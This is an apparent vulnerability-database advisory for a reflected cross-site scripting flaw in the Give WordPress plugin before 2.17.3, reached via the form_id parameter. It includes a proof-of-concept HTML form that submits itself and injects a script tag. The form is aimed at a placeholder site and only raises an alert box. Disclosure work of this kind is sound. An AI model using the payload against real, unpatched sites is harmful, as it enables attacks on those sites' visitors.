WordPress Plugin Vulnerabilities

Give < 2.17.3 - Unauthenticated Reflected Cross-Site Scripting

Description

The plugin does not sanitise and escape the form_id parameter before outputting it back in the response of an unauthenticated request via the give_checkout_login AJAX action, leading to a Reflected Cross-Site Scripting

Proof of Concept

As an unauthenticated user:

<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" id="hack" method="POST">
      <input type="hidden" name="action" value="give_checkout_login" />
      <input type="hidden" name="form_id" value='xxxxxx"><script>alert(/XSS/)</script>' />
      <input type="submit" value="Submit request" />
    </form>
  </body>

  <script>
    var form1 = document.getElementById('hack');
    form1.submit();
</script>
</html>

Affects Plugins

Fixed in 2.17.3

References

Classification

Type
XSS
CWE

Miscellaneous

Original Researcher
ZhongFu Su(JrXnm) of Wuhan University
Submitter
ZhongFu Su(JrXnm) of Wuhan University
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2022-01-18 (about 1 years ago)
Added
2022-01-18 (about 1 years ago)
Last Updated
2022-09-26 (about 1 years ago)

Other